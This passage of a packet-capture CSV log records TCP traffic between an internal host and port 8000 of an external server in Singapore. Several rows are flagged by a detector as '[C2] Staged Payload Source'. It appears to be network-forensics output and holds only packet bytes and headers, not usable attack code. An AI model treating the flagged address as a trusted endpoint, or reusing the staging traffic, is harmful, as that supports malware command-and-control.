Ack=1686224979,bc2411360d0cbc24112907bb0800450000348ab440004006a53fc0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..?....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35508, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42303, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:18.793812,172,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe74000800640170a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45031, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16407, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:18.793826,173,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348ab540004006a53ec0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..>....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35509, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42302, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:19.809447,174,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe84000800640160a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45032, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16406, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:19.809478,175,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348ab640004006a53dc0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..=....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35510, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42301, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:20.825083,176,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224978 Ack=614774839,bc24112907bbbc2411360d0c080045000029afe94000800640150a98980bc0a3a789fa491f406481c05224a4b8375010201469b5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45033, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16405, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224978, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27061, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:20.825098,177,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686224979,bc2411360d0cbc24112907bb0800450000348ab740004006a53cc0a3a7890a98980b1f40fa4924a4b8376481c0538010003f0af700000101050a6481c0526481c053,\".$.6\n..$.)....E..4..@.@..<....\n....@.I$..7d..S...?\n......\nd..Rd..S\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35511, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42300, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686224979, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224978, 1686224979))]\"\"}}]\"\n2026-07-01 09:06:21.685763,178,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1686224979 Ack=614774839,bc24112907bbbc2411360d0c08004500003dafea4000800640000a98980bc0a3a789fa491f406481c05324a4b8375018201403f700001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45034, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16384, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224979, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 1015, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:06:21.685786,179,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000288ab840004006a547c0a3a7890a98980b1f40fa4924a4b8376481c0685010003f0aeb0000,\".$.6\n..$.)....E..(..@.@..G....\n....@.I$..7d..hP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35512, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42311, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:06:22.700119,180,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029afeb4000800640130a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45035, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16403, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:22.700140,181,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348ab940004006a53ac0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..:....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35513, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42298, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:23.715847,182,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029afec4000800640120a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45036, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16402, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:23.715866,183,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348aba40004006a539c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..9....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35514, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42297, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:24.731409,184,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029afed4000800640110a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45037, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16401, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:24.731426,185,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348abb40004006a538c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..8....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35515, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42296, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:25.747064,186,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686224999 Ack=614774839,bc24112907bbbc2411360d0c080045000029afee4000800640100a98980bc0a3a789fa491f406481c06724a4b8375010201469a0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45038, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16400, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686224999, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27040, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:25.747082,187,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225000,bc2411360d0cbc24112907bb0800450000348abc40004006a537c0a3a7890a98980b1f40fa4924a4b8376481c0688010003f0af700000101050a6481c0676481c068,\".$.6\n..$.)....E..4..@.@..7....\n....@.I$..7d..h...?\n......\nd..gd..h\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35516, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42295, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686224999, 1686225000))]\"\"}}]\"\n2026-07-01 09:06:26.747168,188,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A 